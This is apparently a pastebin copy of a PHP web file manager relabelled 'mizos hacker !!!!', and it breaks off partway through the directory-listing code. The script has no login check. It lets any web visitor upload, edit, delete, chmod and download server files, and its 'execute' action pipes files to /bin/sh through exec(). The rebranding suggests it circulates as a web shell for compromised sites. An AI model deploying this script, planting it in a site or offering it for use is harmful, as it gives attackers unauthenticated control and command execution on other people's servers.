· 9 years ago · Nov 23, 2016, 02:06 PM
1/*
2 * mizos hacker !!!! - a simple Web-based file manager
3 * Copyright (C) 2004 mizos hacker !!!! <>
4 *
5 * This program is free software; you can redistribute it and/or modify
6 * it under the terms of the GNU General Public License as published by
7 * the Free Software Foundation; either version 2 of the License, or
8 * (at your option) any later version.
9 *
10 * This program is distributed in the hope that it will be useful,
11 * but WITHOUT ANY WARRANTY; without even the implied warranty of
12 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
13 * GNU General Public License for more details.
14 *
15 * You should have received a copy of the GNU General Public License
16 * along with this program; if not, write to the Free Software
17 * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
18 *
19 * -------------------------------------------------------------------------
20 * While using this script, do NOT navigate with your browser's back and
21 * forward buttons! Always open files in a new browser tab!
22 * -------------------------------------------------------------------------
23 *
24 * This is Version 0.9, revision 9
25 * =========================================================================
26 *
27 * Changes of revision 9
28 * <>
29 * added workaround for directory listing, if lstat() is disabled
30 * fixed permisson of uploaded files (thanks to Stephan Duffner)
31 *
32 * Changes of revision 8
33 * <okankan@stud.sdu.edu.tr>
34 * added Turkish translation
35 * <j@kub.cz>
36 * added Czech translation
37 * <>
38 * improved charset handling
39 *
40 * Changes of revision 7
41 * <szuniga@vtr.net>
42 * added Spanish translation
43 * <lars@soelgaard.net>
44 * added Danish translation
45 * <>
46 * improved rename dialog
47 *
48 * Changes of revision 6
49 * <nederkoorn@tiscali.nl>
50 * added Dutch translation
51 *
52 * Changes of revision 5
53 * <>
54 * added language auto select
55 * fixed symlinks in directory listing
56 * removed word-wrap in edit textarea
57 *
58 * Changes of revision 4
59 * <daloan@guideo.fr>
60 * added French translation
61 * <anders@wiik.cc>
62 * added Swedish translation
63 *
64 * Changes of revision 3
65 * <nzunta@gabriele-erba.it>
66 * improved Italian translation
67 *
68 * Changes of revision 2
69 * <>
70 * got images work in some old browsers
71 * fixed creation of directories
72 * fixed files deletion
73 * improved path handling
74 * added missing word 'not_created'
75 * <till@tuxen.de>
76 * improved human readability of file sizes
77 * <nzunta@gabriele-erba.it>
78 * added Italian translation
79 *
80 * Changes of revision 1
81 * <>
82 * mizos hacker !!!! completely rewritten:
83 * - clean XHTML/CSS output
84 * - several files selectable
85 * - support for windows servers
86 * - no more treeview, because
87 * - mizos hacker !!!! is a >simple< file manager
88 * - performance problems (too much additional code)
89 * - I don't like: frames, java-script, to reload after every treeview-click
90 * - execution of shell scripts
91 * - introduced revision numbers
92 *
93/* ------------------------------------------------------------------------- */
94
95/* Your language:
96 * 'en' - English
97 * 'de' - German
98 * 'fr' - French
99 * 'it' - Italian
100 * 'nl' - Dutch
101 * 'se' - Swedish
102 * 'sp' - Spanish
103 * 'dk' - Danish
104 * 'tr' - Turkish
105 * 'cs' - Czech
106 * 'auto' - autoselect
107 */
108$lang = 'auto';
109
110/* Charset of output:
111 * possible values are described in the charset table at
112 * http://www.php.net/manual/en/function.htmlentities.php
113 * 'auto' - use the same charset as the words of my language are encoded
114 */
115$site_charset = 'auto';
116
117/* Homedir:
118 * For example: './' - the script's directory
119 */
120$homedir = './';
121
122/* Size of the edit textarea
123 */
124$editcols = 80;
125$editrows = 25;
126
127/* -------------------------------------------
128 * Optional configuration (remove # to enable)
129 */
130
131/* Permission of created directories:
132 * For example: 0705 would be 'drwx---r-x'.
133 */
134# $dirpermission = 0705;
135
136/* Permission of created files:
137 * For example: 0604 would be '-rw----r--'.
138 */
139# $filepermission = 0604;
140
141/* Filenames related to the apache web server:
142 */
143$htaccess = '.htaccess';
144$htpasswd = '.htpasswd';
145
146/* ------------------------------------------------------------------------- */
147
148if (get_magic_quotes_gpc()) {
149 array_walk($_GET, 'strip');
150 array_walk($_POST, 'strip');
151 array_walk($_REQUEST, 'strip');
152}
153
154if (array_key_exists('image', $_GET)) {
155 header('Content-Type: image/gif');
156 die(getimage($_GET['image']));
157}
158
159if (!function_exists('lstat')) {
160 function lstat ($filename) {
161 return stat($filename);
162 }
163}
164
165$delim = DIRECTORY_SEPARATOR;
166
167if (function_exists('php_uname')) {
168 $win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true : false;
169} else {
170 $win = ($delim == '\\') ? true : false;
171}
172
173if (!empty($_SERVER['PATH_TRANSLATED'])) {
174 $scriptdir = dirname($_SERVER['PATH_TRANSLATED']);
175} elseif (!empty($_SERVER['SCRIPT_FILENAME'])) {
176 $scriptdir = dirname($_SERVER['SCRIPT_FILENAME']);
177} elseif (function_exists('getcwd')) {
178 $scriptdir = getcwd();
179} else {
180 $scriptdir = '.';
181}
182$homedir = relative2absolute($homedir, $scriptdir);
183
184$dir = (array_key_exists('dir', $_REQUEST)) ? $_REQUEST['dir'] : $homedir;
185
186if (array_key_exists('olddir', $_POST) && !path_is_relative($_POST['olddir'])) {
187 $dir = relative2absolute($dir, $_POST['olddir']);
188}
189
190$directory = simplify_path(addslash($dir));
191
192$files = array();
193$action = '';
194if (!empty($_POST['submit_all'])) {
195 $action = $_POST['action_all'];
196 for ($i = 0; $i < $_POST['num']; $i++) {
197 if (array_key_exists("checked$i", $_POST) && $_POST["checked$i"] == 'true') {
198 $files[] = $_POST["file$i"];
199 }
200 }
201} elseif (!empty($_REQUEST['action'])) {
202 $action = $_REQUEST['action'];
203 $files[] = relative2absolute($_REQUEST['file'], $directory);
204} elseif (!empty($_POST['submit_upload']) && !empty($_FILES['upload']['name'])) {
205 $files[] = $_FILES['upload'];
206 $action = 'upload';
207} elseif (array_key_exists('num', $_POST)) {
208 for ($i = 0; $i < $_POST['num']; $i++) {
209 if (array_key_exists("submit$i", $_POST)) break;
210 }
211 if ($i < $_POST['num']) {
212 $action = $_POST["action$i"];
213 $files[] = $_POST["file$i"];
214 }
215}
216if (empty($action) && (!empty($_POST['submit_create']) || (array_key_exists('focus', $_POST) && $_POST['focus'] == 'create')) && !empty($_POST['create_name'])) {
217 $files[] = relative2absolute($_POST['create_name'], $directory);
218 switch ($_POST['create_type']) {
219 case 'directory':
220 $action = 'create_directory';
221 break;
222 case 'file':
223 $action = 'create_file';
224 }
225}
226if (sizeof($files) == 0) $action = ''; else $file = reset($files);
227
228if ($lang == 'auto') {
229 if (array_key_exists('HTTP_ACCEPT_LANGUAGE', $_SERVER) && strlen($_SERVER['HTTP_ACCEPT_LANGUAGE']) >= 2) {
230 $lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2);
231 } else {
232 $lang = 'en';
233 }
234}
235
236$words = getwords($lang);
237
238if ($site_charset == 'auto') {
239 $site_charset = $word_charset;
240}
241
242$cols = ($win) ? 4 : 7;
243
244if (!isset($dirpermission)) {
245 $dirpermission = (function_exists('umask')) ? (0777 & ~umask()) : 0755;
246}
247if (!isset($filepermission)) {
248 $filepermission = (function_exists('umask')) ? (0666 & ~umask()) : 0644;
249}
250
251if (!empty($_SERVER['SCRIPT_NAME'])) {
252 $self = html(basename($_SERVER['SCRIPT_NAME']));
253} elseif (!empty($_SERVER['PHP_SELF'])) {
254 $self = html(basename($_SERVER['PHP_SELF']));
255} else {
256 $self = '';
257}
258
259if (!empty($_SERVER['SERVER_SOFTWARE'])) {
260 if (strtolower(substr($_SERVER['SERVER_SOFTWARE'], 0, 6)) == 'apache') {
261 $apache = true;
262 } else {
263 $apache = false;
264 }
265} else {
266 $apache = true;
267}
268
269switch ($action) {
270
271case 'view':
272
273 if (is_script($file)) {
274
275 /* highlight_file is a mess! */
276 ob_start();
277 highlight_file($file);
278 $src = ereg_replace('<font color="([^"]*)">', '<span style="color: \1">', ob_get_contents());
279 $src = str_replace(array('</font>', "\r", "\n"), array('</span>', '', ''), $src);
280 ob_end_clean();
281
282 html_header();
283 echo '<h2 style="text-align: left; margin-bottom: 0">' . html($file) . '</h2>
284
285<hr />
286
287<table>
288<tr>
289<td style="text-align: right; vertical-align: top; color: gray; padding-right: 3pt; border-right: 1px solid gray">
290<pre style="margin-top: 0"><code>';
291
292 for ($i = 1; $i <= sizeof(file($file)); $i++) echo "$i\n";
293
294 echo '</code></pre>
295</td>
296<td style="text-align: left; vertical-align: top; padding-left: 3pt">
297<pre style="margin-top: 0">' . $src . '</pre>
298</td>
299</tr>
300</table>
301
302';
303
304 html_footer();
305
306 } else {
307
308 header('Content-Type: ' . getmimetype($file));
309 header('Content-Disposition: filename=' . basename($file));
310
311 readfile($file);
312
313 }
314
315 break;
316
317case 'download':
318
319 header('Pragma: public');
320 header('Expires: 0');
321 header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
322 header('Content-Type: ' . getmimetype($file));
323 header('Content-Disposition: attachment; filename=' . basename($file) . ';');
324 header('Content-Length: ' . filesize($file));
325
326 readfile($file);
327
328 break;
329
330case 'upload':
331
332 $dest = relative2absolute($file['name'], $directory);
333
334 if (@file_exists($dest)) {
335 listing_page(error('already_exists', $dest));
336 } elseif (@move_uploaded_file($file['tmp_name'], $dest)) {
337 @chmod($dest, $filepermission);
338 listing_page(notice('uploaded', $file['name']));
339 } else {
340 listing_page(error('not_uploaded', $file['name']));
341 }
342
343 break;
344
345case 'create_directory':
346
347 if (@file_exists($file)) {
348 listing_page(error('already_exists', $file));
349 } else {
350 $old = @umask(0777 & ~$dirpermission);
351 if (@mkdir($file, $dirpermission)) {
352 listing_page(notice('created', $file));
353 } else {
354 listing_page(error('not_created', $file));
355 }
356 @umask($old);
357 }
358
359 break;
360
361case 'create_file':
362
363 if (@file_exists($file)) {
364 listing_page(error('already_exists', $file));
365 } else {
366 $old = @umask(0777 & ~$filepermission);
367 if (@touch($file)) {
368 edit($file);
369 } else {
370 listing_page(error('not_created', $file));
371 }
372 @umask($old);
373 }
374
375 break;
376
377case 'execute':
378
379 chdir(dirname($file));
380
381 $output = array();
382 $retval = 0;
383 exec('echo "./' . basename($file) . '" | /bin/sh', $output, $retval);
384
385 $error = ($retval == 0) ? false : true;
386
387 if (sizeof($output) == 0) $output = array('<' . $words['no_output'] . '>');
388
389 if ($error) {
390 listing_page(error('not_executed', $file, implode("\n", $output)));
391 } else {
392 listing_page(notice('executed', $file, implode("\n", $output)));
393 }
394
395 break;
396
397case 'delete':
398
399 if (!empty($_POST['no'])) {
400 listing_page();
401 } elseif (!empty($_POST['yes'])) {
402
403 $failure = array();
404 $success = array();
405
406 foreach ($files as $file) {
407 if (del($file)) {
408 $success[] = $file;
409 } else {
410 $failure[] = $file;
411 }
412 }
413
414 $message = '';
415 if (sizeof($failure) > 0) {
416 $message = error('not_deleted', implode("\n", $failure));
417 }
418 if (sizeof($success) > 0) {
419 $message .= notice('deleted', implode("\n", $success));
420 }
421
422 listing_page($message);
423
424 } else {
425
426 html_header();
427
428 echo '<form action="' . $self . '" method="post">
429<table class="dialog">
430<tr>
431<td class="dialog">
432';
433
434 request_dump();
435
436 echo "\t<b>" . word('really_delete') . '</b>
437 <p>
438';
439
440 foreach ($files as $file) {
441 echo "\t" . html($file) . "<br />\n";
442 }
443
444 echo ' </p>
445 <hr />
446 <input type="submit" name="no" value="' . word('no') . '" id="red_button" />
447 <input type="submit" name="yes" value="' . word('yes') . '" id="green_button" style="margin-left: 50px" />
448</td>
449</tr>
450</table>
451</form>
452
453';
454
455 html_footer();
456
457 }
458
459 break;
460
461case 'rename':
462
463 if (!empty($_POST['destination'])) {
464
465 $dest = relative2absolute($_POST['destination'], $directory);
466
467 if (!@file_exists($dest) && @rename($file, $dest)) {
468 listing_page(notice('renamed', $file, $dest));
469 } else {
470 listing_page(error('not_renamed', $file, $dest));
471 }
472
473 } else {
474
475 $name = basename($file);
476
477 html_header();
478
479 echo '<form action="' . $self . '" method="post">
480
481<table class="dialog">
482<tr>
483<td class="dialog">
484 <input type="hidden" name="action" value="rename" />
485 <input type="hidden" name="file" value="' . html($file) . '" />
486 <input type="hidden" name="dir" value="' . html($directory) . '" />
487 <b>' . word('rename_file') . '</b>
488 <p>' . html($file) . '</p>
489 <b>' . substr($file, 0, strlen($file) - strlen($name)) . '</b>
490 <input type="text" name="destination" size="' . textfieldsize($name) . '" value="' . html($name) . '" />
491 <hr />
492 <input type="submit" value="' . word('rename') . '" />
493</td>
494</tr>
495</table>
496
497<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
498
499</form>
500
501';
502
503 html_footer();
504
505 }
506
507 break;
508
509case 'move':
510
511 if (!empty($_POST['destination'])) {
512
513 $dest = relative2absolute($_POST['destination'], $directory);
514
515 $failure = array();
516 $success = array();
517
518 foreach ($files as $file) {
519 $filename = substr($file, strlen($directory));
520 $d = $dest . $filename;
521 if (!@file_exists($d) && @rename($file, $d)) {
522 $success[] = $file;
523 } else {
524 $failure[] = $file;
525 }
526 }
527
528 $message = '';
529 if (sizeof($failure) > 0) {
530 $message = error('not_moved', implode("\n", $failure), $dest);
531 }
532 if (sizeof($success) > 0) {
533 $message .= notice('moved', implode("\n", $success), $dest);
534 }
535
536 listing_page($message);
537
538 } else {
539
540 html_header();
541
542 echo '<form action="' . $self . '" method="post">
543
544<table class="dialog">
545<tr>
546<td class="dialog">
547';
548
549 request_dump();
550
551 echo "\t<b>" . word('move_files') . '</b>
552 <p>
553';
554
555 foreach ($files as $file) {
556 echo "\t" . html($file) . "<br />\n";
557 }
558
559 echo ' </p>
560 <hr />
561 ' . word('destination') . ':
562 <input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
563 <input type="submit" value="' . word('move') . '" />
564</td>
565</tr>
566</table>
567
568<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
569
570</form>
571
572';
573
574 html_footer();
575
576 }
577
578 break;
579
580case 'copy':
581
582 if (!empty($_POST['destination'])) {
583
584 $dest = relative2absolute($_POST['destination'], $directory);
585
586 if (@is_dir($dest)) {
587
588 $failure = array();
589 $success = array();
590
591 foreach ($files as $file) {
592 $filename = substr($file, strlen($directory));
593 $d = addslash($dest) . $filename;
594 if (!@is_dir($file) && !@file_exists($d) && @copy($file, $d)) {
595 $success[] = $file;
596 } else {
597 $failure[] = $file;
598 }
599 }
600
601 $message = '';
602 if (sizeof($failure) > 0) {
603 $message = error('not_copied', implode("\n", $failure), $dest);
604 }
605 if (sizeof($success) > 0) {
606 $message .= notice('copied', implode("\n", $success), $dest);
607 }
608
609 listing_page($message);
610
611 } else {
612
613 if (!@file_exists($dest) && @copy($file, $dest)) {
614 listing_page(notice('copied', $file, $dest));
615 } else {
616 listing_page(error('not_copied', $file, $dest));
617 }
618
619 }
620
621 } else {
622
623 html_header();
624
625 echo '<form action="' . $self . '" method="post">
626
627<table class="dialog">
628<tr>
629<td class="dialog">
630';
631
632 request_dump();
633
634 echo "\n<b>" . word('copy_files') . '</b>
635 <p>
636';
637
638 foreach ($files as $file) {
639 echo "\t" . html($file) . "<br />\n";
640 }
641
642 echo ' </p>
643 <hr />
644 ' . word('destination') . ':
645 <input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
646 <input type="submit" value="' . word('copy') . '" />
647</td>
648</tr>
649</table>
650
651<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
652
653</form>
654
655';
656
657 html_footer();
658
659 }
660
661 break;
662
663case 'create_symlink':
664
665 if (!empty($_POST['destination'])) {
666
667 $dest = relative2absolute($_POST['destination'], $directory);
668
669 if (substr($dest, -1, 1) == $delim) $dest .= basename($file);
670
671 if (!empty($_POST['relative'])) $file = absolute2relative(addslash(dirname($dest)), $file);
672
673 if (!@file_exists($dest) && @symlink($file, $dest)) {
674 listing_page(notice('symlinked', $file, $dest));
675 } else {
676 listing_page(error('not_symlinked', $file, $dest));
677 }
678
679 } else {
680
681 html_header();
682
683 echo '<form action="' . $self . '" method="post">
684
685<table class="dialog" id="symlink">
686<tr>
687 <td style="vertical-align: top">' . word('destination') . ': </td>
688 <td>
689 <b>' . html($file) . '</b><br />
690 <input type="checkbox" name="relative" value="yes" id="checkbox_relative" checked="checked" style="margin-top: 1ex" />
691 <label for="checkbox_relative">' . word('relative') . '</label>
692 <input type="hidden" name="action" value="create_symlink" />
693 <input type="hidden" name="file" value="' . html($file) . '" />
694 <input type="hidden" name="dir" value="' . html($directory) . '" />
695 </td>
696</tr>
697<tr>
698 <td>' . word('symlink') . ': </td>
699 <td>
700 <input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
701 <input type="submit" value="' . word('create_symlink') . '" />
702 </td>
703</tr>
704</table>
705
706<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
707
708</form>
709
710';
711
712 html_footer();
713
714 }
715
716 break;
717
718case 'edit':
719
720 if (!empty($_POST['save'])) {
721
722 $content = str_replace("\r\n", "\n", $_POST['content']);
723
724 if (($f = @fopen($file, 'w')) && @fwrite($f, $content) !== false && @fclose($f)) {
725 listing_page(notice('saved', $file));
726 } else {
727 listing_page(error('not_saved', $file));
728 }
729
730 } else {
731
732 if (@is_readable($file) && @is_writable($file)) {
733 edit($file);
734 } else {
735 listing_page(error('not_edited', $file));
736 }
737
738 }
739
740 break;
741
742case 'permission':
743
744 if (!empty($_POST['set'])) {
745
746 $mode = 0;
747 if (!empty($_POST['ur'])) $mode |= 0400; if (!empty($_POST['uw'])) $mode |= 0200; if (!empty($_POST['ux'])) $mode |= 0100;
748 if (!empty($_POST['gr'])) $mode |= 0040; if (!empty($_POST['gw'])) $mode |= 0020; if (!empty($_POST['gx'])) $mode |= 0010;
749 if (!empty($_POST['or'])) $mode |= 0004; if (!empty($_POST['ow'])) $mode |= 0002; if (!empty($_POST['ox'])) $mode |= 0001;
750
751 if (@chmod($file, $mode)) {
752 listing_page(notice('permission_set', $file, decoct($mode)));
753 } else {
754 listing_page(error('permission_not_set', $file, decoct($mode)));
755 }
756
757 } else {
758
759 html_header();
760
761 $mode = fileperms($file);
762
763 echo '<form action="' . $self . '" method="post">
764
765<table class="dialog">
766<tr>
767<td class="dialog">
768
769 <p style="margin: 0">' . phrase('permission_for', $file) . '</p>
770
771 <hr />
772
773 <table id="permission">
774 <tr>
775 <td></td>
776 <td style="border-right: 1px solid black">' . word('owner') . '</td>
777 <td style="border-right: 1px solid black">' . word('group') . '</td>
778 <td>' . word('other') . '</td>
779 </tr>
780 <tr>
781 <td style="text-align: right">' . word('read') . ':</td>
782 <td><input type="checkbox" name="ur" value="1"'; if ($mode & 00400) echo ' checked="checked"'; echo ' /></td>
783 <td><input type="checkbox" name="gr" value="1"'; if ($mode & 00040) echo ' checked="checked"'; echo ' /></td>
784 <td><input type="checkbox" name="or" value="1"'; if ($mode & 00004) echo ' checked="checked"'; echo ' /></td>
785 </tr>
786 <tr>
787 <td style="text-align: right">' . word('write') . ':</td>
788 <td><input type="checkbox" name="uw" value="1"'; if ($mode & 00200) echo ' checked="checked"'; echo ' /></td>
789 <td><input type="checkbox" name="gw" value="1"'; if ($mode & 00020) echo ' checked="checked"'; echo ' /></td>
790 <td><input type="checkbox" name="ow" value="1"'; if ($mode & 00002) echo ' checked="checked"'; echo ' /></td>
791 </tr>
792 <tr>
793 <td style="text-align: right">' . word('execute') . ':</td>
794 <td><input type="checkbox" name="ux" value="1"'; if ($mode & 00100) echo ' checked="checked"'; echo ' /></td>
795 <td><input type="checkbox" name="gx" value="1"'; if ($mode & 00010) echo ' checked="checked"'; echo ' /></td>
796 <td><input type="checkbox" name="ox" value="1"'; if ($mode & 00001) echo ' checked="checked"'; echo ' /></td>
797 </tr>
798 </table>
799
800 <hr />
801
802 <input type="submit" name="set" value="' . word('set') . '" />
803
804 <input type="hidden" name="action" value="permission" />
805 <input type="hidden" name="file" value="' . html($file) . '" />
806 <input type="hidden" name="dir" value="' . html($directory) . '" />
807
808</td>
809</tr>
810</table>
811
812<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
813
814</form>
815
816';
817
818 html_footer();
819
820 }
821
822 break;
823
824default:
825
826 listing_page();
827
828}
829
830/* ------------------------------------------------------------------------- */
831
832function getlist ($directory) {
833 global $delim, $win;
834
835 if ($d = @opendir($directory)) {
836
837 while (($filename = @readdir($d)) !== false) {
838
839 $path = $directory . $filename;
840
841 if ($stat = @lstat($path)) {
842
843 $file = array(
844 'filename' => $filename,
845 'path' => $path,
846 'is_file' => @is_file($path),
847 'is_dir' => @is_dir($path),
848 'is_link' => @is_link($path),
849 'is_readable' => @is_readable($path),
850 'is_writable' => @is_writable($path),
851 'size' => $stat['size'],
852 'permission' => $stat['mode'],
853 'owner' => $stat['uid'],
854 'group' => $stat['gid'],
855 'mtime' => @filemtime($path),
856 'atime' => @fileatime($path),
857 'ctime' => @filectime($path)
858 );
859
860 if ($file['is_dir']) {
861 $file['is_executable'] = @file_exists($path . $delim . '.');
862 } else {
863 if (!$win) {
864 $file['is_executable'] = @is_executable($path);
865 } else {
866 $file['is_executable'] = true;
867 }
868 }
869
870 if ($file['is_link']) $file['target'] = @readlink($path);
871
872 if (function_exists('posix_getpwuid')) $file['owner_name'] = @reset(posix_getpwuid($file['owner']));
873 if (function_exists('posix_getgrgid')) $file['group_name'] = @reset(posix_getgrgid($file['group']));
874
875 $files[] = $file;
876
877 }
878
879 }
880
881 return $files;
882
883 } else {
884 return false;
885 }
886
887}
888
889function sortlist (&$list, $key, $reverse) {
890
891 quicksort($list, 0, sizeof($list) - 1, $key);
892
893 if ($reverse) $list = array_reverse($list);
894
895}
896
897function quicksort (&$array, $first, $last, $key) {
898
899 if ($first < $last) {
900
901 $cmp = $array[floor(($first + $last) / 2)][$key];
902
903 $l = $first;
904 $r = $last;
905
906 while ($l <= $r) {
907
908 while ($array[$l][$key] < $cmp) $l++;
909 while ($array[$r][$key] > $cmp) $r--;
910
911 if ($l <= $r) {
912
913 $tmp = $array[$l];
914 $array[$l] = $array[$r];
915 $array[$r] = $tmp;
916
917 $l++;
918 $r--;
919
920 }
921
922 }
923
924 quicksort($array, $first, $r, $key);
925 quicksort($array, $l, $last, $key);
926
927 }
928
929}
930
931function permission_octal2string ($mode) {
932
933 if (($mode & 0xC000) === 0xC000) {
934 $type = 's';
935 } elseif (($mode & 0xA000) === 0xA000) {
936 $type = 'l';
937 } elseif (($mode & 0x8000) === 0x8000) {
938 $type = '-';
939 } elseif (($mode & 0x6000) === 0x6000) {
940 $type = 'b';
941 } elseif (($mode & 0x4000) === 0x4000) {
942 $type = 'd';
943 } elseif (($mode & 0x2000) === 0x2000) {
944 $type = 'c';
945 } elseif (($mode & 0x1000) === 0x1000) {
946 $type = 'p';
947 } else {
948 $type = '?';
949 }
950
951 $owner = ($mode & 00400) ? 'r' : '-';
952 $owner .= ($mode & 00200) ? 'w' : '-';
953 if ($mode & 0x800) {
954 $owner .= ($mode & 00100) ? 's' : 'S';
955 } else {
956 $owner .= ($mode & 00100) ? 'x' : '-';
957 }
958
959 $group = ($mode & 00040) ? 'r' : '-';
960 $group .= ($mode & 00020) ? 'w' : '-';
961 if ($mode & 0x400) {
962 $group .= ($mode & 00010) ? 's' : 'S';
963 } else {
964 $group .= ($mode & 00010) ? 'x' : '-';
965 }
966
967 $other = ($mode & 00004) ? 'r' : '-';
968 $other .= ($mode & 00002) ? 'w' : '-';
969 if ($mode & 0x200) {
970 $other .= ($mode & 00001) ? 't' : 'T';
971 } else {
972 $other .= ($mode & 00001) ? 'x' : '-';
973 }
974
975 return $type . $owner . $group . $other;
976
977}
978
979function is_script ($filename) {
980 return ereg('\.php$|\.php3$|\.php4$|\.php5$', $filename);
981}
982
983function getmimetype ($filename) {
984 static $mimes = array(
985 '\.jpg$|\.jpeg$' => 'image/jpeg',
986 '\.gif$' => 'image/gif',
987 '\.png$' => 'image/png',
988 '\.html$|\.html$' => 'text/html',
989 '\.txt$|\.asc$' => 'text/plain',
990 '\.xml$|\.xsl$' => 'application/xml',
991 '\.pdf$' => 'application/pdf'
992 );
993
994 foreach ($mimes as $regex => $mime) {
995 if (eregi($regex, $filename)) return $mime;
996 }
997
998 // return 'application/octet-stream';
999 return 'text/plain';
1000
1001}
1002
1003function del ($file) {
1004 global $delim;
1005
1006 if (!@is_link($file) && !file_exists($file)) return false;
1007
1008 if (!@is_link($file) && @is_dir($file)) {
1009
1010 if ($dir = @opendir($file)) {
1011
1012 $error = false;
1013
1014 while (($f = readdir($dir)) !== false) {
1015 if ($f != '.' && $f != '..' && !del($file . $delim . $f)) {
1016 $error = true;
1017 }
1018 }
1019 closedir($dir);
1020
1021 if (!$error) return @rmdir($file);
1022
1023 return !$error;
1024
1025 } else {
1026 return false;
1027 }
1028
1029 } else {
1030 return @unlink($file);
1031 }
1032
1033}
1034
1035function addslash ($directory) {
1036 global $delim;
1037
1038 if (substr($directory, -1, 1) != $delim) {
1039 return $directory . $delim;
1040 } else {
1041 return $directory;
1042 }
1043
1044}
1045
1046function relative2absolute ($string, $directory) {
1047
1048 if (path_is_relative($string)) {
1049 return simplify_path(addslash($directory) . $string);
1050 } else {
1051 return simplify_path($string);
1052 }
1053
1054}
1055
1056function path_is_relative ($path) {
1057 global $win;
1058
1059 if ($win) {
1060 return (substr($path, 1, 1) != ':');
1061 } else {
1062 return (substr($path, 0, 1) != '/');
1063 }
1064
1065}
1066
1067function absolute2relative ($directory, $target) {
1068 global $delim;
1069
1070 $path = '';
1071 while ($directory != $target) {
1072 if ($directory == substr($target, 0, strlen($directory))) {
1073 $path .= substr($target, strlen($directory));
1074 break;
1075 } else {
1076 $path .= '..' . $delim;
1077 $directory = substr($directory, 0, strrpos(substr($directory, 0, -1), $delim) + 1);
1078 }
1079 }
1080 if ($path == '') $path = '.';
1081
1082 return $path;
1083
1084}
1085
1086function simplify_path ($path) {
1087 global $delim;
1088
1089 if (@file_exists($path) && function_exists('realpath') && @realpath($path) != '') {
1090 $path = realpath($path);
1091 if (@is_dir($path)) {
1092 return addslash($path);
1093 } else {
1094 return $path;
1095 }
1096 }
1097
1098 $pattern = $delim . '.' . $delim;
1099
1100 if (@is_dir($path)) {
1101 $path = addslash($path);
1102 }
1103
1104 while (strpos($path, $pattern) !== false) {
1105 $path = str_replace($pattern, $delim, $path);
1106 }
1107
1108 $e = addslashes($delim);
1109 $regex = $e . '((\.[^\.' . $e . '][^' . $e . ']*)|(\.\.[^' . $e . ']+)|([^\.][^' . $e . ']*))' . $e . '\.\.' . $e;
1110
1111 while (ereg($regex, $path)) {
1112 $path = ereg_replace($regex, $delim, $path);
1113 }
1114
1115 return $path;
1116
1117}
1118
1119function human_filesize ($filesize) {
1120
1121 $suffices = 'kMGTPE';
1122
1123 $n = 0;
1124 while ($filesize >= 1000) {
1125 $filesize /= 1024;
1126 $n++;
1127 }
1128
1129 $filesize = round($filesize, 3 - strpos($filesize, '.'));
1130
1131 if (strpos($filesize, '.') !== false) {
1132 while (in_array(substr($filesize, -1, 1), array('0', '.'))) {
1133 $filesize = substr($filesize, 0, strlen($filesize) - 1);
1134 }
1135 }
1136
1137 $suffix = (($n == 0) ? '' : substr($suffices, $n - 1, 1));
1138
1139 return $filesize . " {$suffix}B";
1140
1141}
1142
1143function strip (&$str) {
1144 $str = stripslashes($str);
1145}
1146
1147/* ------------------------------------------------------------------------- */
1148
1149function listing_page ($message = null) {
1150 global $self, $directory, $sort, $reverse;
1151
1152 html_header();
1153
1154 $list = getlist($directory);
1155
1156 if (array_key_exists('sort', $_GET)) $sort = $_GET['sort']; else $sort = 'filename';
1157 if (array_key_exists('reverse', $_GET) && $_GET['reverse'] == 'true') $reverse = true; else $reverse = false;
1158
1159 sortlist($list, $sort, $reverse);
1160
1161 echo '<h1 style="margin-bottom: 0">mizos hacker !!!!</h1>
1162
1163<form enctype="multipart/form-data" action="' . $self . '" method="post">
1164
1165<table id="main">
1166';
1167
1168 directory_choice();
1169
1170 if (!empty($message)) {
1171 spacer();
1172 echo $message;
1173 }
1174
1175 if (@is_writable($directory)) {
1176 upload_box();
1177 create_box();
1178 } else {
1179 spacer();
1180 }
1181
1182 if ($list) {
1183 listing($list);
1184 } else {
1185 echo error('not_readable', $directory);
1186 }
1187
1188 echo '</table>
1189
1190</form>
1191
1192';
1193
1194 html_footer();
1195
1196}
1197
1198function listing ($list) {
1199 global $directory, $homedir, $sort, $reverse, $win, $cols, $date_format, $self;
1200
1201 echo '<tr class="listing">
1202 <th style="text-align: center; vertical-align: middle"><img src="' . $self . '?image=smiley" alt="smiley" /></th>
1203';
1204
1205 $d = 'dir=' . urlencode($directory) . '&';
1206
1207 if (!$reverse && $sort == 'filename') $r = '&reverse=true'; else $r = '';
1208 echo "\t<th class=\"filename\"><a href=\"$self?{$d}sort=filename$r\">" . word('filename') . "</a></th>\n";
1209
1210 if (!$reverse && $sort == 'size') $r = '&reverse=true'; else $r = '';
1211 echo "\t<th class=\"size\"><a href=\"$self?{$d}sort=size$r\">" . word('size') . "</a></th>\n";
1212
1213 if (!$win) {
1214
1215 if (!$reverse && $sort == 'permission') $r = '&reverse=true'; else $r = '';
1216 echo "\t<th class=\"permission_header\"><a href=\"$self?{$d}sort=permission$r\">" . word('permission') . "</a></th>\n";
1217
1218 if (!$reverse && $sort == 'owner') $r = '&reverse=true'; else $r = '';
1219 echo "\t<th class=\"owner\"><a href=\"$self?{$d}sort=owner$r\">" . word('owner') . "</a></th>\n";
1220
1221 if (!$reverse && $sort == 'group') $r = '&reverse=true'; else $r = '';
1222 echo "\t<th class=\"group\"><a href=\"$self?{$d}sort=group$r\">" . word('group') . "</a></th>\n";
1223
1224 }
1225
1226 echo ' <th class="functions">' . word('functions') . '</th>
1227</tr>
1228';
1229
1230 for ($i = 0; $i < sizeof($list); $i++) {
1231 $file = $list[$i];
1232
1233 $timestamps = 'mtime: ' . date($date_format, $file['mtime']) . ', ';
